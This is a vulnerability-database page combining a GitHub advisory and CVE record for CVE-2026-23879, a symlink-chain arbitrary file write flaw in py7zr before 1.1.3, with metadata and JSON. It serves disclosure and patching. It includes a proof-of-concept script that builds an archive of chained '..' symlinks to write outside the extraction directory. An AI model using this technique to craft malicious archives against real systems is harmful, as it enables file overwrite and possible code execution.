Vulnerability-Lookup

GHSA-Q6RC-2CGV-63H7

Vulnerability from github – Published: 2026-06-19 19:21 – Updated: 2026-06-19 19:21

Summary

py7zr: Arbitrary File Write Vulnerability

Details

Summary

There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.

Details

The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.

PoC

Construct PoC Archive File

The following pseudo-code illustrates the vulnerable logic.

def create_sevenz_exp(output_dir: str):
    filename = "archive.7z"
    file_path = output_dir + filename
    with py7zr.SevenZipFile(file_path, 'w') as archive:
        archive.writestr("Some Text", "dir0/someFile.txt")
        add_symlink(archive, "dir1", "dir0/..")
        add_symlink(archive, "dir2", "dir1/..")
        add_symlink(archive, "dir3", "dir2/..")
        add_symlink(archive, "dir4", "dir3/..")
        add_symlink(archive, "dir5", "dir4/..")
        add_symlink(archive, "dir6", "dir5/..")
        add_symlink(archive, "dir7", "dir6/..")
        add_symlink(archive, "dir8", "dir7/..")
        add_symlink(archive, "myTmp", "dir8/tmp")
        archive.writestr("Malicious Text\n", "myTmp/poc.txt")

Unpack the archive

Use common decompression methods, then extract the archive.

import sys
import os
import py7zr

def extract_7z(seven_path, output_dir):
    os.makedirs(output_dir, exist_ok=True)
    with py7zr.SevenZipFile(seven_path, mode='r') as z:
        z.extractall(path=output_dir)
    print(f"Extracted '{seven_path}' to '{output_dir}'")

if __name__ == "__main__":
    seven_file = sys.argv[1]
    base_name = os.path.splitext(os.path.basename(seven_file))[0]
    output = base_name + "_sevenz_output"

    extract_7z(seven_file, output)

Impact

After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:21:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThere exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.\n\n\u003cimg width=\"1806\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b\" /\u003e\n\n\n### PoC\n#### **Construct PoC Archive File**\nThe following pseudo-code illustrates the vulnerable logic.\n\n```python\ndef create_sevenz_exp(output_dir: str):\n    filename = \"archive.7z\"\n    file_path = output_dir + filename\n    with py7zr.SevenZipFile(file_path, \u0027w\u0027) as archive:\n        archive.writestr(\"Some Text\", \"dir0/someFile.txt\")\n        add_symlink(archive, \"dir1\", \"dir0/..\")\n        add_symlink(archive, \"dir2\", \"dir1/..\")\n        add_symlink(archive, \"dir3\", \"dir2/..\")\n        add_symlink(archive, \"dir4\", \"dir3/..\")\n        add_symlink(archive, \"dir5\", \"dir4/..\")\n        add_symlink(archive, \"dir6\", \"dir5/..\")\n        add_symlink(archive, \"dir7\", \"dir6/..\")\n        add_symlink(archive, \"dir8\", \"dir7/..\")\n        add_symlink(archive, \"myTmp\", \"dir8/tmp\")\n        archive.writestr(\"Malicious Text\\n\", \"myTmp/poc.txt\")\n```\n\n#### **Unpack the archive**\n\nUse common decompression methods, then extract the archive.\n\n```python\nimport sys\nimport os\nimport py7zr\n\ndef extract_7z(seven_path, output_dir):\n    os.makedirs(output_dir, exist_ok=True)\n    with py7zr.SevenZipFile(seven_path, mode=\u0027r\u0027) as z:\n        z.extractall(path=output_dir)\n    print(f\"Extracted \u0027{seven_path}\u0027 to \u0027{output_dir}\u0027\")\n\nif __name__ == \"__main__\":\n    seven_file = sys.argv[1]\n    base_name = os.path.splitext(os.path.basename(seven_file))[0]\n    output = base_name + \"_sevenz_output\"\n\n    extract_7z(seven_file, output)\n```\n\n### Impact\n\u003cimg width=\"1268\" height=\"572\" alt=\"image\" src=\"https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b\" /\u003e\n\nAfter decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.",
  "id": "GHSA-q6rc-2cgv-63h7",
  "modified": "2026-06-19T19:21:57Z",
  "published": "2026-06-19T19:21:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "py7zr: Arbitrary File Write Vulnerability"
}

CVE-2026-23879 (GCVE-0-2026-23879)

Vulnerability from cvelistv5 – Published: 2026-06-24 19:17 – Updated: 2026-06-25 15:57

Title

py7zr: Arbitrary File Write Vulnerability

Summary

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3.

Severity

8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/miurahr/py7zr/security/advisor…	x_refsource_CONFIRM
https://github.com/miurahr/py7zr/releases/tag/v1.1.3	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
miurahr	py7zr	Affected: < 1.1.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
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        "metrics": [
          {
            "other": {
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                "id": "CVE-2026-23879",
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                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
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                "role": "CISA Coordinator",
                "timestamp": "2026-06-25T15:57:29.992293Z",
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          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "py7zr",
          "vendor": "miurahr",
          "versions": [
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          "lang": "en",
          "value": "py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Versions 1.1.2 and below contain an an arbitrary file write vulnerability, which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. This issue has been fixed in version 1.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
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      "problemTypes": [
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        "dateUpdated": "2026-06-24T19:17:28.605Z",
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      "title": "py7zr: Arbitrary File Write Vulnerability"
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    "datePublished": "2026-06-24T19:17:28.605Z",
    "dateReserved": "2026-01-16T21:02:02.900Z",
    "dateUpdated": "2026-06-25T15:57:59.954Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-Q6RC-2CGV-63H7

Summary

Details

PoC

Construct PoC Archive File

Unpack the archive

Impact

CVE-2026-23879 (GCVE-0-2026-23879)

Tags

Sightings

Nomenclature